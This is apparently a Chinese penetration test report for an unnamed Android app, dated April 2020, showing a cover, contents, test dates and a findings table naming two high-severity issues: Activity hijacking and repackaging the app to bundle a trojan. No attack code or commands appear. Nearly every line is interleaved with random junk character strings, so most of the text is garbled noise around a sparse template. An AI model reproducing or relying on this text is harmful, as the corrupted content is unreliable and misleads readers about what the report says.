) @$ M' o; L: p& E* g8 g% E a8 s( r$ \+ K( B7 `
4 R/ _2 S* L2 u* O' x
9 A8 G% X1 b- Y4 q" U5 @
0 p# E2 ~' _0 R" F6 C: f: r3 s& ^6 B& G# K
. Z% \9 I; l1 i8 n- Q
. |) g* [1 b4 ~2 o
* @. h3 H$ ]7 L
j9 Q) P0 b h0 a+ @7 `- P. V* \4 @
: z0 u4 j' H$ E
! |& n$ Q9 P& Q& R5 `( s7 g6 p1 Q( B 文档编号:
5 i, F w2 D8 w0 ^- _) F3 D" S
/ F* j$ k! m# n
$ y$ T: ~( K" ]! z( u, `
. |, d6 f8 C0 n" F4 W
- V# F4 W6 X1 d3 a/ U+ |2 E7 ?
& u7 \9 Z! j) n1 E! }# g
5 A5 D ?$ `% F& X- S2 c! p+ X# h- e4 J5 F1 C8 I, k4 f9 ~
0 Y+ _( h5 K9 f- R
% ^4 }: b( f( \0 L, y% n5 s) ~5 W
: q+ g! U& P% u6 a
! M! I, C+ N. q. L5 j* n ( i: H! x* b; H, a( N
: I" S2 O0 s$ j* L5 a6 V
! N; O* {+ W5 r/ R3 s2 [( K: s3 U) O+ W3 n( J6 m6 w
A* k# O2 ?% D& Y- [* \3 g! K% j$ }1 t3 n& B: u) O
% E: v2 E+ ?6 |- t K
2 ]: z- O) k2 D2 T9 q% n$ d
6 `) l; F6 [) m. Q3 \: H% V0 l" k0 O3 T1 F/ k/ h
. J+ ?( |9 {1 x" O9 X0 J" R ?& @9 t8 g3 _
6 }" E( \/ l5 R# ~, n$ p, ^
+ p' R& `/ z3 ]2 I) B! Z. ^
) d4 m5 R/ _" h6 R+ ^+ p" G+ l/ m* I9 t" b7 `" @' j7 {
7 W, T' w" ^; Y# c3 l8 O/ Q+ z' s
4 o2 R% q! P. {# T/ p2 ^
* V; M( b; f B: C4 u- B- _+ | v8 V
2 H1 P% m( w) k" V' V
. F1 i2 B6 |$ @" v : @) G. c$ ~# b- ]) K% U
/ z l' X. J% I' H0 k) Q& L( ^ 某某某APP渗透测试 4 `8 M# ~6 f k, U; M
4 v @+ `4 e, m( ?! f' I
9 Z; M! j# P [/ M2 m/ ?# Z8 m! R2 h
8 u6 z) |8 |& S) X4 y
8 |7 D1 t2 F$ K3 L }+ K! @+ M, ?* ]6 }9 E2 s* Z
0 v$ ?& B& z2 a$ D: d
! |: |9 O6 N+ W* b t( R3 L
4 F0 B5 x( ]) E
s! y4 B) e( f4 O9 N _
! c* A& t5 Y' Y ?2 T9 x) R
4 \5 Z# T* X/ `8 w; H# q3 p
6 u, g l6 P! x1 ^0 x/ i# Z0 z" x5 l$ E% a
; f: q+ ~9 j5 s* y- y
- ]& k2 y# E0 Z5 u* \9 `
( Y% u) a7 B* o0 e/ N' q3 C$ x
3 I+ q- W$ ^0 L Q ) r5 p& C. j, i
* m9 \; f4 k( B1 L7 w- L
. O3 Y7 V! o7 J" H
, [/ L3 Q0 [& ?( G/ H
" a+ r4 _- v7 l3 v& X) r1 X( v
# c7 Y$ h, U8 @; B7 E' E; O
! t) S" [! W ]# P: _: B- l6 P$ A6 I8 F: j( ^/ K" c
2 Y* ~. t6 J" k" Q% b9 T3 h
; w8 _ s% v0 p* A 0 b* i$ c* m/ a9 X' v! f
: L8 j" t$ N* I7 l8 J/ s6 {
技 术 报 告
$ M" L' I" T# u; Q
. Z( W3 ^" S; a1 I: {
4 U, X+ W/ S9 b. n
# q0 j* {7 }" y' @1 l4 V5 w . P8 a4 v0 {# c+ |9 P8 y
, J' B/ ]1 f" F9 `7 F! ` ~ ; e; d- a$ ?( F% a
) J1 [ M; O3 b; O
: O4 ~# O2 |+ [" c! e5 U
$ E6 F4 H- i f! g O& s7 V9 g H* q # R- e+ B7 f' M8 U& Y% m2 I
7 m1 `) I$ X& ]3 f& \
7 o$ C% C! g# S B ]
/ {! c) i; ^8 H6 B# H) a; z
8 v6 H2 A& | c/ I* l% M v: a
& k9 D' |# G: K( Q& V0 L
7 v9 h! B9 ?0 e) J# w0 h. J/ f+ H, i+ l. u
1 h, w$ w+ _4 M: e4 I4 D
% M! j+ M1 [3 @, M4 o' v' Q [8 ~
& t f) ?# ?$ C2 `6 N5 ^! L$ `9 X
, w0 e+ \5 s/ ^" j( i ; A/ l' L; Q9 Q9 T/ n& l/ e
) T" h& R/ [: H' `, c
9 B! y) p. M3 F- r7 J* _/ h7 C9 C* a5 u h& ]' s( C& c+ e
* Y& D: {/ b) S/ w
2 q m: e4 z9 J5 \: g) s* j* o
( e( L _# j7 l; t" P
& g$ z: C8 b+ B! i
3 Y7 O0 t" {* ~4 W$ n' j u7 A* U+ \; Y3 Z( U
1 h) P; |! S' V0 G1 X7 j
5 Y( s; Y( |" C- y7 I2 S
! r1 N$ Q% K; n8 U2 |5 O+ Q% Z
3 W4 O7 B" `8 I! O
1 N- E5 m# f) D1 |9 ?: ^* }% X
. R0 H& h- w0 O( B6 M. P; ?0 P+ P" F3 n' ?
0 Y9 l0 P0 Q" }' r* |
: W4 _, V* j2 g
+ X! W& P$ Q" {! {" {9 \1 X
, p: N1 }: a& A8 L2 A# t3 a" C6 j
& k9 k+ k- z3 v- u( W3 ?: x! M" E
+ ~0 y5 L4 _5 V" z @& W* \. j+ i . S, y f. Z4 G0 \0 C2 V1 F7 O
$ X" M, t/ n6 k7 H' w
: v* y( [: T! [" m% i, p- p" T/ g" t, e W( P% t% g! b- a. @* v
( t$ w9 b! j1 z8 {1 t+ Y4 o3 O
+ X7 Z) p0 P. x7 V; k' G' \2 C
A# t' t: o1 I: n/ _! l$ \
% B9 P& c* n. \( O7 j9 p' w
, j8 C8 J7 B; M# h0 E7 l d: o- C* H; M# P5 \
. K" ^3 H, L" U& E. A7 m/ ~6 A; [
" _0 L& Z( ]; y3 h! e8 A7 `, {
7 c% w; B8 d9 C9 q: |. |1 t/ p
0 [5 |% E2 Y! M' I7 S# i9 z, e5 X
$ N4 _" K5 G% N+ c
E6 v+ }1 P" f+ \
1 W9 Q1 D" W3 e5 I; j* e1 |
. U. s* }& J/ S" Z# n: Z/ i
5 m6 |" s9 w( G/ d' o- l9 s
- T( _. _* i5 }& o/ R+ [7 W1 b
5 {5 W/ S1 h7 r8 k
4 u1 u2 |5 M: [5 S, k: t: ~
4 h' o& U' X L6 s3 z + P) b7 B1 S' l; Z
- L0 O# C) ?. S* K. ^
2 {; j0 M* G* Z0 w m0 Q! k1 `& }* ]' T2 `* j# I
6 F& q$ T5 G3 Y. | l2 @
3 g# ~" w! E( ?+ D6 @9 J6 x
2 z, R- f" X+ ~5 s0 _
" V; u% Q1 V" L o" r4 U% J+ } 5 |& i: c& u& l# H+ C" b. f& V
% W5 A% [+ n; @
& j3 @. D5 | I1 u+ z4 d) ]) U8 Y5 X) ^3 V0 w
9 n0 R3 a6 A( v% C* i3 ^
: p# ^7 N, `; Y1 l8 v7 O: V: u, ~
# ~; O+ |9 Q, x' O$ ^
1 a' J2 \) _/ g- S" [6 T5 l
+ B5 m* b! w1 y2 B! E1 Z
+ w+ x! O8 l; T# O( @
9 A% k C8 r# f# T. c4 v, o0 P2 s
. `/ e0 {- c) I
7 r- P- D9 X/ z" W% f
' C4 ~8 ^. J& ^7 V# Y# [
3 Z% q ~' a, t- z) O: m
2 a+ _! @9 a6 q: e; f
2 h$ p& Z5 I, S; \( H+ o* C0 S. A; N4 W
9 ]6 Y7 J) Y+ V% z* l0 W8 B9 D' A& x" r
: ]' z! ~- B( Y* n( e" _! Q4 s; H0 F0 ?
9 U) A/ \. D; z6 L9 B3 O, Q
8 T& D3 z, m, L* ]6 O
, D! V& Q' T: r* K: V$ J% h4 o
' K, @4 _$ e# { l L0 V! {, {
$ @5 m2 [" G+ ]. C+ {9 ?+ o
; _2 m8 w! @# P. Z8 ` 5 f* t! d$ h8 T$ v0 w/ u+ Y& u
+ p- k* ]: k8 N/ h8 q+ d
5 y7 U+ {7 z' Z/ M6 x* G
# B8 f, h1 i+ E
4 S7 \6 _+ S/ b( t0 h/ w) g8 f
3 J2 S2 Q! q$ O7 |9 d# z% l ' p) \/ R) b' g1 z$ \7 ^5 d
) e, l- k8 x; S1 q4 ] 二〇二〇年
' I- R( ^0 M# D5 n4 E! a- J {2 u( F$ Y2 b, |+ f( d
) Q4 U' R7 v0 B! ?0 X# S1 o7 `# s! a( M5 P* h) E
5 T4 h( @( B. j8 f% E! _
% {) W+ H; O) o3 \
# [3 g7 M2 v7 \5 y) [0 F G) j
# D' t2 Y! j/ S% q. T+ u Q. f% [
% \9 Q, y, h2 O+ C, a. A
9 v( d: @, _! g ) M6 U: M' M! P, w
: n. y$ H& R/ ~8 A" K
+ c- x4 U8 v0 E: v" B* b
5 {2 r5 G; Y/ d3 s- y+ R2 e4 t9 V1 U
- T! d7 f5 H/ f3 I( a0 R
2 ]2 a1 \- c7 ]. m: K% Q7 ^9 ^
* u% J. J# [1 b$ }
+ W) f# f8 F, Y
; M! {- |8 |' W7 G( x7 K' Z0 B S- i' q; H% Z) L/ C0 A2 [7 e, G- K( D
6 y9 W* }, T: Y9 O2 Z
- C& F/ y6 l% G8 M 目 录 2 l* t1 B4 S& E) U
. R) A8 \: f0 _+ ^6 q
9 Z/ I5 m$ B/ ]) Y7 q& ^1 E+ F, B
8 }# S6 G6 v/ `) d1 T& \ , l- l2 G+ _- g0 K8 B% n- H
* Q F/ o) |* p. e6 |1 l
0 Q- o7 ^3 \+ s# D, t5 w" _
; l# Z: l6 H; f+ Z9 b 1 S# p/ O4 R1 u5 L: p: _& m, Z' u$ x
" b" d" w$ ^: M( J4 e. I
4 o# W! i+ w6 {- U8 R% P, |5 S5 e
6 _: Q& s3 {* P" n( ? ' O: n& E5 y$ K4 e [# U& l
: b5 Z! M/ x+ q8 c2 e 1 概述... 3 : J# o; |" j1 R, P2 o' I; q
4 K: o5 |. c; X. {
* [1 n3 g! p' N# r& n0 L& W) i5 |1 G, T1 j( [ |( z3 \% v% }
0 o, g* w) ~" B0 ^% g- @( @1 J5 s2 b
/ F. @' X; C3 G, M9 V$ y- s- z) h 1.2测试时间... 3 3 c& ^( O( k8 V, l
8 G) i$ e. m C3 m# I
: t {; @: {' l6 e. X: p0 A/ L
0 O, ~# O7 @* c/ l7 _
2 D: X1 e+ A, F* D+ M U& j7 O
- Y! l& _/ }0 F4 A7 h' P 1.3测试对象... 3 / O2 g2 e8 _" L4 k- C& P. x2 n
( e# j9 o$ k7 a5 U0 H6 E! A( B
) t$ l1 L3 ?; a5 P% `! N# Q
) |& R. f! J$ O' _ ?( O 2 P; |$ n, H( k9 @% R# W
* x1 W* l# }/ [( F: I& e
1.4测试结果... 3 5 l6 f; g& r* ~8 K; x+ ?2 I
4 }# Z; w/ D5 ?
) q% L1 k5 R! }. ^
5 D, {/ `: ^$ q; {$ B# `2 ?. M& M
4 [3 K u z" v& H: v4 _) P; Z
+ \' T- @ v3 g% g
2 检测结果... 4 ( x# [7 V. U& N% b
/ y n% q+ x. N& R$ i- I% T, L
: n I. [4 K' t- u% C
4 ^) p3 f, R" ~5 P
% l8 u p: N0 J2 P' T# l) z9 O. z* M4 E* S; P: D* W
2.1 某某某... 4 # M- y- `5 l# t9 `2 b4 L
) ]! R( T0 u6 m
3 @( V6 |+ _% ?( Z! z& w
" C1 P$ `; H# ~9 \6 d6 w1 r
, r9 O u4 i8 g8 n! l; f& J3 L& j1 a
2.1.1检测目标... 4
2 z6 V2 l* k6 F; |! d8 ]1 @- K, `% o' H+ Y9 W) O
! E3 C( U4 x3 B1 C( W
# b0 O# ^& B) T5 T( d$ V
1 F6 K6 H" C2 K3 l/ t; r8 X' X. s( N3 ], `! \- Q
2.1.2检测结果... 4
! |$ K/ g: P0 s" E6 B# \' o2 T2 g1 [8 s* ^5 q; j
V2 E+ Z. D7 J* Y) E3 K( L
2 K( Q& {# Y* w/ ~' E % N9 H" U8 B- l+ u V' a1 R
. G( B. w6 O* @- j5 [
2.1.2.1. 4
: d- R5 } P6 w$ ^1 u8 l$ i; m) K3 Y2 G
" r9 I9 s) _* i# z
: a' l5 S* A. M8 |6 Q% D
; [% a5 N1 R/ Y9 V3 t2 h. I
8 Q. b) J8 @7 ?: y2 i4 | 2.1.2.2. 6
2 d+ G% k9 U9 D1 P" ~; t2 A) o, |( l8 B' g8 t# P
; z$ o# [9 A+ r+ _$ A* O' G
1 W3 b) H R/ P; }! @; s
% [' ~4 y8 b0 x" @" z6 ^, P& M) n- M2 i! K% r7 F
, l# H5 P/ ~3 o5 z/ w5 @2 a/ Z! S% G! [) j( C
% d- K8 P! ^/ C2 a8 Y. [; Y6 Z$ G+ _$ R" B- e i, ~5 D( w
$ y: D. x. g0 m$ \
7 d+ t! W) A1 \ U1 s7 T( r( @; T5 @ 3 X5 K5 G5 |' L, O+ ~* d4 P/ d# T1 D
, c% T5 h" u- X1 e1 F) Z; P
+ _& q% l* P8 B) \$ F( s. K
1 |! ^5 V0 B& { M- ?
& f6 F+ `# c2 X& y: d6 g0 \
, B5 r* o7 P( b2 _* t 9 B. f0 z0 V% E# q
- t+ x" ?7 l$ V6 m 1 概述 1 W0 G- d" Q2 y5 F1 g
t8 ]5 L$ m, Q0 |, N5 {+ k
+ N3 P8 T# ^9 M9 e, E. A( w1 P: p, }- }7 U6 N1 n
1 e: E- c" U- U) p
9 n9 X+ h; O5 r; d5 e( u0 O }/ h 1.2测试时间 , z' G3 l7 K% y5 X, c
8 y! E' s# a( `7 k
3 i/ M6 T! p* L2 o' c/ U5 ~% J
1 y2 q2 }+ w1 h- c+ c% v
- R4 \" s- |3 h. c5 ~: p8 n, V- [& n% R. [' b
) L V, P( Q# X V
* Z M. s0 M4 P3 r
5 ?- ^3 r) i1 U
' s" s2 g- |, p7 s7 t# y
) o% n: `7 M5 I! J: r# }
9 E- j) @" L" g0 _' s$ T' n( L 2 s* Q! [7 l+ O) ?
( e- a% Y8 F2 r8 s, c3 t
渗透测试时间
: y* u4 `9 O1 L9 z
) m% Z$ ]( I6 s, J) K) c
$ j+ N! o' k4 |, H* u
N( E/ M" i+ l1 R& z | ' Z# d$ N/ s. W t; ?) a6 }
# m) \! @ ?! i5 v- E% w
/ W$ I/ t0 f- r* i x
( |, G ^* u2 z! O2 O, ^
& l2 W7 `6 \( v: K' P& v
0 L6 K- x5 E3 y4 h# M8 S. [ 2 |8 `, }; J0 |5 d) Q" w
b% e( w2 X# t
* W+ `" i5 K0 f, x2 I: g! h. I
- X& F3 [# M& x 起始时间 3 ^/ V; C; j3 a, Y4 n
7 d3 N/ P1 B" w! f# N: D
/ M! n: ~' n2 m4 Y, q& \
3 H) V) {9 }$ g# f5 s3 ?2 v- P |
/ q G- H, A+ J7 y' J9 @- i0 i+ \: y& k
" |9 _, `; D0 M3 W4 \, ]3 Q* }
/ ~# J( \/ f; \- o2 Q/ `& B; c2 v3 A
& Q9 G6 d# R' D- x$ l0 P: c! q# ]5 ?
2020年4月6日 . S. R- ?/ L( M8 d( J6 @; G
4 G9 Q8 C+ v' Y6 {
/ y# L' S- l b0 G
- _& }: L+ ]6 S, H/ Q. r. w |
R. }; ~7 E5 d4 d5 o
; D/ z! s5 s: {- Q. \2 L+ [: u
. B. l5 }$ F( o& {& H3 Q( {: `9 B! p. v: a) S; r
0 I# f! r+ N/ c* | C0 N# s
* [3 c, p2 S. Z, a4 U; F) P
, r4 C. Q1 ]- u. X! \, L u' L; w5 ^' z# Q* b- W
6 v( |, m; m' z5 M8 y
' Y. \% w& P- o J: e& @
结束时间
+ b$ {, g* @: p9 N8 \* x' e* M; E
' q$ q- H- o5 q& l) W! W7 ~
1 _3 G! ?: O0 ^9 Y7 M$ I% `7 o# f0 h1 j3 a# x. j
|
& s3 D7 u- v3 Y) M$ C4 V- B
/ {$ @/ v6 h8 e( R7 t; `
' [1 S' o" o0 u0 c/ G! D) V" d
5 t. W( r# s- r! ` T
# E G' y$ j( `; m' m
# k: ?- n% D3 D T 2020年4月9日 $ i& d3 R! n( [4 d/ S5 c
9 {, T% g4 Y/ ~% K
6 H: r% c6 n1 q2 i* U8 X" O) B; b! H& e* H) I
| 2 F. t% ` a! f
3 c+ T% K! }3 h) E0 x
: k9 c" j6 z, P! q' _9 d {6 I1 d. U$ }6 T, C6 X
; f6 M- B. A' F$ |; i7 @& A9 b( Y# F# q3 y2 L( Y
6 C" }$ A2 C% S k$ g2 ~* v
/ Z+ f# C' ?+ g
) b- G8 \5 E* A, j9 ~" R. j0 t8 R% V9 C& k
1.3测试对象
{9 h( B$ ?' A$ j1 `6 d/ V% a5 N: k! V
/ a4 O3 l. C. \% x: ]
" j* K0 U x& D$ Q: _$ j
; x" T2 n0 D9 W: l6 w' Y0 L/ l U% R$ {( @+ y3 g
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 5 b# ~5 X8 ~+ q5 t
! s* [+ r/ U% j3 [, g
% U5 J7 a- I0 H1 J5 {5 V) P
/ g5 w4 Y1 ?, N2 l
" Y$ ]7 ?4 w6 W/ \ F7 W. f
# i$ n7 @. h* [# m5 k1 j2 I 表1-1 检测对象
5 s: f# x J- d6 S/ o; }) Z2 n( L2 m0 @1 f, m4 g6 A
. m e+ A" [& C7 a% `+ H
" I3 v' o6 K3 d* y, I% H
, n$ a% O. F# Y7 W$ @" r; z# U) @/ T' t; F. E. T2 R2 u# [3 x0 n5 k
" O+ `+ f0 N/ v1 ]* }1 F
! t$ ?1 `8 f% g' o! g
! ` `! D4 F! E( R
8 J4 O) O; m* o4 ]. b! P% N
& j3 f& ~+ c3 R/ a$ S# p. ]5 z8 w3 k9 y. n0 U6 V3 G0 M# Y
) X" |1 V% m* ^2 j. S/ Z( W; Z2 P
' Q' w% u R) b 序号
& A0 g0 O# x0 w; h2 `
6 i' k+ F7 o- {. P% f 8 u& Q4 e) N9 M8 B) {( ~
8 F! H3 W# H8 B, U2 [% t9 J/ t# C |
' V- |* c" ]( C' S) b/ Q5 x) y' Y' z9 j: ?
7 x1 L: W5 K1 o/ c
{7 i: H R8 O4 _
) q" l8 A; @7 p$ D# p
$ n0 L9 E5 r o% Z" P& k( L
测试对象
# |3 G9 ]$ @6 s+ S+ V: P3 D7 p3 @& r3 Q. A- V, n
( r( j: B3 M/ c& h3 i. S5 }8 J# N5 M
| ( B0 a4 K5 n% U3 H6 V
6 T; J2 x- M8 [3 I) u& F2 [
; z' @1 W9 b2 z/ c& L' m
& v! H5 ]& G* q4 {; h
b6 z& _+ q' y$ ^
2 }; A8 {7 b8 @7 o z, j) C# G 测试地址
4 T3 y6 l4 G3 E5 G* l! o7 d1 h3 h8 W( a T: _" d1 {7 m( \
) r7 h# |, u6 ~- d% A1 [
* Z4 D- Y" N8 a( a$ j | 5 V a: B; m' `5 @& I! }
4 P" i/ p) n' }& h- X( H
) D' f2 `% C3 I# e
$ \9 v, Y- Q+ j& P" p
2 y4 e% b% ]% [, ^- e* k3 ?$ i
! [- x4 A: S9 Q* G 安全漏洞 3 \: R% O( S% u$ e! y; d2 e
' V6 h, L) Q- U, [0 ^% I+ ^: O' t- w
1 b& b6 n( e. } u
* h4 _4 n6 z J9 g( Y, \ O9 [9 a |
! a8 ^3 [* c- z4 M! p/ L$ R$ M" c. ^$ e/ K9 R9 Z& Z& k9 z
) V% ?- _6 B+ J, m1 _/ Q* N
- Y& j* p# O7 I4 x1 ^7 c
7 }, h) D, R: D3 [: i, G. s; f6 a- n. X
) k, I* B8 s! P8 v" C
U& W- j# Q- ^ # f/ p8 t. ?, N. `1 }8 j M. ?
- [) V8 z* M$ D 1 , I; y9 _3 W+ I+ H4 `
" D! {) p' ?3 N, v& m- f# a1 c& _
+ C! ]# C& `& [# U7 k1 w7 [. x$ W- p# A* D% C/ V
|
9 v6 B' v3 b. R* K) j& K# y
& _# X/ O% m7 A4 F" X/ V; ^ * i! V% P8 G8 @! t9 w) g
& T, a: M) [/ y6 b& x
M) `; F9 v; k. W) t9 T x. ^! y( r
某某某安卓APP ' ]3 N8 Y9 C* F! U) {0 b; o9 n
+ o' v& ?1 Y" G9 ]
7 p" Z& h* k/ [" I, y0 m. p7 a7 ]8 P) r3 t* w
| & g& l+ m- I p* t% I* K4 r
, o& `# n( z! f3 H% ]
3 s& X/ G7 [. t1 a+ N, A4 B E$ ?# A
: W( G6 f9 H7 ]) r: G2 l6 N
( r7 l0 m% b9 \" v7 u) L9 U/ ~
6 v5 g& X0 y, c8 O* |$ m, b
9 a8 Z. G# u5 E+ D8 J; R; R8 C( z2 x
* m$ r% p: \9 k# r8 E8 T* M
" l- J( F3 O8 {' u$ g, l# G |
0 S) F- H# Z+ I8 H& I6 z8 M% d! k+ ~# a r# X6 |! T5 c
( L6 T0 M3 ~* |7 e
" G& O: n* B# |
W- w! Q# [2 s$ s6 [' h
. \# Q7 i) r s. M 2 3 u9 J; X1 d# {' I$ V
* n6 G8 |, z+ f: M( @ 8 M: v3 F# K( X9 a" ]- i
4 H7 B( R9 D' J
| . Z' z- U+ B! P' c# X
0 c* ~0 q Q+ C3 I
5 B! V8 L0 A3 k+ M. ^: l/ a/ S E' l6 y; S5 Y2 I: a) j
7 ~* c" v" @/ a/ @; y* @
d. C% E6 x4 b1 z) X+ l
8 F7 O5 R( t2 Y; u; b2 ^5 d
5 ?, p6 l& l0 h* z0 y
( g q F4 w- v7 b6 R' `) F% a; e$ N/ i
1.4测试结果 8 H" I. q/ H \+ S
; ^3 M+ u8 m, n) Q+ E" G
. b9 A' i) C2 o% |9 X& C0 }
- }3 V2 Q# [: N% r; J
l' d% M' H* X% _, b
& K. e$ e+ y9 P& H1 Z5 u- B7 [( U6 h 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: & P4 g- P( C2 n8 @; S1 A
* j: H) ^" X( P
+ E+ t' _! {' h( p/ x a% }
, N- m4 i- G n' C2 ]
, Q( j" E5 y0 @5 {5 @% `
& {; W9 n! a4 |) @ : m' z' ?8 B1 n( g
, {7 R% p& ?8 t( M& P7 j3 i! w- o! i
8 I4 i: r, n$ n4 s6 h; I
$ O2 e7 \$ n; [2 ~6 }9 p
, r; q. x4 D1 O* S
: C! h- P9 r% o% L; o% V1 S G7 C( T " J2 @. ?, q4 p0 B
( Z$ K. y' w- V3 J9 ? 9 j4 j$ E2 { o1 H
' Q. w% S; F4 G1 ~, [9 k) X
) y+ }% x' A1 q5 j2 p1 o0 e3 K+ A+ r8 z8 @4 M0 B/ h6 y
/ J1 P# ^; l; U( D' b* I5 d6 y
- H8 l4 [! b! A7 D, b! @6 S
" L$ `$ J0 T+ ]) ]4 j+ Z: G$ z" V, x5 ~) n. F
序号
?4 s- J0 X& B; K7 g1 W
0 a6 T- _4 E; U( |. [ 4 i* ^! a/ [/ a s* @
# g. l7 j% G) A$ ^! D- t
| 9 D+ Q- A* G7 o4 P, l' R- g5 h8 I+ l6 r
8 O. a5 {* n. p " F: Z- S/ W6 O9 O
% R( f% P6 l- d% F7 q% ~ 4 y$ T' f1 L3 d( G* P
3 Q: @' N) P- z5 }& R [9 T 系统名称
3 w3 l- w+ S7 ^' d* H4 f
1 u+ z( s, [9 R) ~/ H! i% w 7 P7 J+ y) B0 o
0 t" y$ I/ s( Y; Y; i0 n
| 3 k) a6 q4 {4 w9 s- z: h7 \' N
8 t; |* w5 `9 A4 g" r( c3 R( y
8 W6 M" B# n _* `6 ]6 L( S) \. Z3 q5 e+ k! `
2 x$ l! w! }% @% ?
' l1 p; u/ V5 c7 P 漏洞名称 % \5 {, b% s5 a/ |: c
' G/ A0 I" a# y3 K" w& j
7 N) I1 R! P8 _0 n# B% G$ b2 W: n1 @% J: n! c
|
4 E @7 f" n' x- s
- j+ Q! M b0 v9 @( g
: `8 w. T% W, T h j: u d4 X
6 p/ R7 {+ B8 i6 k4 ^. B 6 ^; p& ?5 `6 V4 v4 @; R0 j
* ?' [4 Q* [) J2 Y8 _ 漏洞危害 # e ?& E( d# Y/ O
8 S% h) ]; | | * _( h' Q8 j9 |. _/ d# H1 [4 j. }& A
% ]+ ^$ ^1 H- n
|
2 f' k4 Y/ H& @) v0 D- V! R9 y' q9 d6 l; b- b
; H7 ]! i" q4 |0 l# i6 p
8 o4 `' O4 E. ^ J$ x
7 Q9 U" y, y/ g: @- ^8 v( m3 t& L
) ^0 K( `+ R4 c( C# \" k3 d& M 修复结果
5 K+ M8 K. {/ P5 R1 t" m) z) E/ \( O7 x' Z3 F( t& m
0 _8 d$ o& ~2 q! ^) B
) H0 a2 ?" ~* l: ?) B$ N: _* b |
) H4 u- ?) l* a. x5 I: z1 `) b% ^8 a) p9 q5 E$ e4 x3 M4 n3 S
2 u6 f9 x0 I8 ~& T& k3 o! n6 y/ ^- w* i
^" r w9 h- ?0 J
8 G6 e; H# T1 m" O( w, `! b( ^ + _$ |' N9 H$ p6 Q( c7 B
8 o1 U: K+ `+ Q0 \( K
2 Y% N, k3 I0 E% ~6 I4 y/ r% S- P* R# l; P1 I" {8 k& U
1
5 e& g& z% d7 @2 X, q
& g6 o4 G$ ?5 d2 a) C 0 w& ]5 J, ~6 q( V* I b& s
! X1 I- l/ [* o) Q( E |
$ C5 I: ]( u! p0 a
! Y1 L% l7 g7 Z
/ g* ]( l1 P/ s6 }0 J) C
1 o' E$ m; N7 H& G! _ 8 ~% Y# U0 G# n4 C$ ?
( P2 i3 l; \0 J: T+ j2 I/ c7 \1 e 某某某某某某APP ! r1 P6 U5 H& k! Z! J
7 U1 S6 s' m8 T) `3 X * ]/ b; g! J: Y
9 ]8 r; ]0 m! p2 B; Q) e
| 3 e3 B2 J( J0 j6 j% x
# F. Q4 F. c/ B ) o: O) e: J3 g# V. g
, m) r7 |5 C( Z+ Z$ C. `9 r. v
$ j9 d; T" q0 L# n; ~- H1 ?* ^2 R9 H5 S
Activity 劫持 & Z' ~& C) y. Z4 ]: m
% ^- Z* _- s$ C
7 e* J3 B( z# W2 ^7 S$ A6 m9 T
! n; u1 x o2 q% q# Y
; W% q) V+ _+ O6 u6 N3 \6 q4 e( k: `6 X* f7 }' \4 a) F) a( N( L
: p& i0 X/ R9 z5 N& o$ h5 ^) u" Z
4 Z: \; b' R, Z0 x) }4 h7 }8 A
8 @1 D% i/ u( l+ k- @! l- p
* n" ^2 ^! m$ g4 ^# E | * z' g' V3 H4 @, I- d/ \
4 ^, ^+ d+ }. ?; c1 A# J) [' t
3 ^3 D, }+ D0 K$ B7 H6 G! S
* M l+ `) @- K 9 [4 ^# O, l( d" O3 T) t
% \/ A4 A+ m% d 高
4 g/ q2 {& m8 o! r ^& ?1 E$ H6 b! W
, d: f$ v3 a( ^- N c) a- y % I7 |/ E2 _1 g% \+ \% `
6 v9 z. e" K! Y' R
| ' G5 p: n# [, G2 P$ c: m" j0 t* e
7 N) K7 Q3 i- U' ?4 P
. O" c! v+ s8 a) `' Q# ^
; O) Y8 J- S \, h/ l
5 L0 W, ?5 H0 g' X
, g( L7 ~ U4 H. |
. _ E9 }" q/ X- o% O r8 A9 N+ K9 ?3 G1 ~
. }: M4 L: |" |" f, M9 t
0 H( n; |1 {$ |) A0 I |
4 E; H) T0 l; T, p$ ^7 e9 a7 |
8 {9 R3 \ X" d' R
5 O; `; ?4 s3 g8 X: P3 _/ p3 \7 r5 p8 F
/ U0 X2 s \: R% C% D9 F0 J3 x9 y& `
0 W5 d5 H9 _, d. H
4 L A* R# {1 m 0 J. m! s# [! v0 d: X; T0 E
) X" c6 b2 K/ }6 i* Q8 X2 _6 ~
2
# m/ U* `# d+ G' e
. }) I6 G! o) K
2 H0 S+ [+ h. p+ J3 ?/ k
r+ T1 ?3 u* ~ |
: M- K# W/ r* j" l1 _* ~/ a4 j& \4 m' B+ Y ]
7 q9 K2 X$ O c/ V0 B8 v1 E s5 _4 z& H" Q0 x4 W
( Z4 {0 K3 `: n1 a2 @
3 R$ A1 Z! G; ?0 z 某某某某某某APP 4 H4 `9 P' k2 r% h0 M
. w4 u, z' |9 I! q; ?# q# s6 c2 z
; N0 W+ G7 U, D- W- t1 n9 w# t, ` x4 [8 R0 B4 q
| 1 k: E# `1 X8 z' R8 p
4 n5 W* w, a+ u8 F, s3 S; p
4 L2 f/ j* @5 Y a6 |+ R+ {' ^, b. S6 ~0 v& S5 Q8 t
. |0 o0 _: }/ V* s$ H$ i
9 M! e4 u8 i2 f7 h 反编译二次打包捆绑木马、篡改APP代码 * N2 W M9 Q% V$ ~- E4 J
7 J; v# D! _ d+ k3 w 6 L: t9 h' D8 o; d
) M- o: x4 ~, n1 L. f
|
) N1 |3 x7 \3 A6 V. H: W- ]5 [
0 ^- E7 v5 M7 O7 c+ D: z ' ~1 {/ h0 @. z7 t/ Q y
2 S a8 Y! d [! V. D
# z5 k" F! Z8 o$ A0 B. z3 N# A% M& Z- W6 z
高 + l( L, @0 ]! j6 }
Y/ x: g4 T8 u) b
7 |0 ~, Y& o1 ?3 e4 K! m8 j/ r C9 I1 ^* H
| 2 D9 a; ^/ @; l% q5 m. T2 S9 ?
0 N/ _0 F4 ~6 k
' `( a3 s1 i2 ]* G& L, N' N
/ I2 X# t8 C/ Y7 h+ x 4 H; T# w, p' r9 h% W
- d0 V. F D3 O! Z% Q& l, b & ]' ^ S6 O& s/ T0 ?9 u
0 Y7 X- C' r0 x( @# q3 w& X3 H
6 S0 [; D, M/ P; [5 S; l- Y1 G' ~0 X; }/ A1 n
|
2 a8 _+ ?- o( G, G' \% X- C/ k5 L9 q; _
/ u9 B8 h4 c% T4 s
& Q" x% p+ x* J y) W/ \' a : }7 P6 e) }3 E
/ t' ]: i6 W, n2 F+ l1 t
2 `- n, R$ |3 H. y6 Q8 z* H% I- X. Q* r& _
$ i% w( D8 a7 [8 {7 @
/ T4 c- V/ s5 s( d9 A6 X! S- r- B h+ Z- X( g% D
